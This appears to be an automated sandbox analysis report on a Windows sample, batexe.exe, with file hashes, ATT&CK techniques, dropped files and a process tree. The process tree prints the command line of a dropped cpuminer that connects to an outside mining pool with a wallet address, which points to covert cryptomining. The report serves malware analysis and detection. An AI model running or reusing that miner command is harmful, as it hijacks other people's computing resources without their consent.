73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 05:42

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1932	b2e.exe
4328	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4328	cpuminer-sse2.exe
4328	cpuminer-sse2.exe
4328	cpuminer-sse2.exe
4328	cpuminer-sse2.exe
4328	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2016-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1932	2016	batexe.exe	84
PID 2016 wrote to memory of 1932	2016	batexe.exe	84
PID 2016 wrote to memory of 1932	2016	batexe.exe	84
PID 1932 wrote to memory of 4980	1932	b2e.exe	85
PID 1932 wrote to memory of 4980	1932	b2e.exe	85
PID 1932 wrote to memory of 4980	1932	b2e.exe	85
PID 4980 wrote to memory of 4328	4980	cmd.exe	88
PID 4980 wrote to memory of 4328	4980	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\639C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe

Filesize
16.7MB

MD5
317c535548f38127e1995c52d5b8e5ac

SHA1
538220a66e29146378ebc1052283dd2ed9bb04b1

SHA256
d83179fa0000a1e7f00eb16b8f3de261c5f546498c5962b73c82ee8ef479bc1d

SHA512
7cdaf1466c81e296b7f2e6c2876b237d098cdda42b57fa3bfc2d8873db01d2941332fa7f60c3f3d5481229a1355d06d8f283b4b8ef176d7cb41a73936d4c4305

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe

Filesize
4.0MB

MD5
ef0f56fb81e119ff3db563b28cd32eaf

SHA1
1ea95fa5a87f668677a9ce6f3d6d8b59ce4d3b09

SHA256
9b4903689749cbbf258bf5d82f74bf2a8307cee5e163e6a0f31aee53ed7b9ecb

SHA512
72fa9dbad718eb7fc1a7583adf1e37436a3129c006b1338f07a42d70c9d972a6b14f4c8c726261959110d11022ef02edfc8c8f78c3536219204568ba01ba9493

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F75.tmp\b2e.exe

Filesize
3.8MB

MD5
8782954c8b6aac082ecc8b96cb0fa380

SHA1
2fe2dfb712df083d04ef662151f7a323078cdbaf

SHA256
472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b

SHA512
d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31

Download Submit
C:\Users\Admin\AppData\Local\Temp\639C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
469fbccb007d0aec4a5e949a3ca6060c

SHA1
af7a8beab8b240ad946ae9b2c82eb586fbd9a569

SHA256
631e270aee5655104a12ba4f1dd2574420c91c2327255918f6a9c973dc7713b1

SHA512
77103a4405485c6606ef78cf02918ea2f228d93ee11c1606b34974be227dcd8859ba5a8fc2e02e030899eb394e2345134a813a1d1e84853ac30ba3d5c09caef2

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
5fe5ef251e87d94db00d3f7fd773b85a

SHA1
40c878df46ccc843bd456ff90fac7919e650a421

SHA256
513f95abe095b2c304e095731ea7a23aedb3fc9ffdbd5606fbe0d5f74222b163

SHA512
36b1840e70d0fdca3b1db4b16e2caf24801db993ac84275c0f2fafc6ba89c905e9d8b9d9d8104bf5f15133c7c683190674711534cbe373894c541f5d8d7dd12a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
430ea35ddacb585aa7673f508243cc59

SHA1
800c6b80a6f260dae738dfcdd31996c0c159ad05

SHA256
ea07d08f03430478d257d2f159bcb16c7ef74da9a14e8bc58e3fdb1c35ddf413

SHA512
28290625c4f3dc7c472a68750652528dde701f82e683bc1e70863290fd40141ba1067159589ae064c8fc09bce0ec02a466a03b6a792038e0f59687a3cf3fd2c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
0171c1a798b3bd5ca7fd05e63f491f11

SHA1
5528b647d0c06578fc9477cd73850794abfd3087

SHA256
480b33f8c5e909897cdbbe41300131bd9ca6f640a75e9c477bcf85c7ad136c9d

SHA512
ce6430effd8d318a77b930747efaca5b064946cd59476a53c4bcc0feff889948e047dcc7295dca8936411113e9c7a8de5b0406b7c529b6020b0c44b61e20d57c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1932-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1932-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2016-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4328-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4328-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/4328-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-45-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/4328-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4328-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4328-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download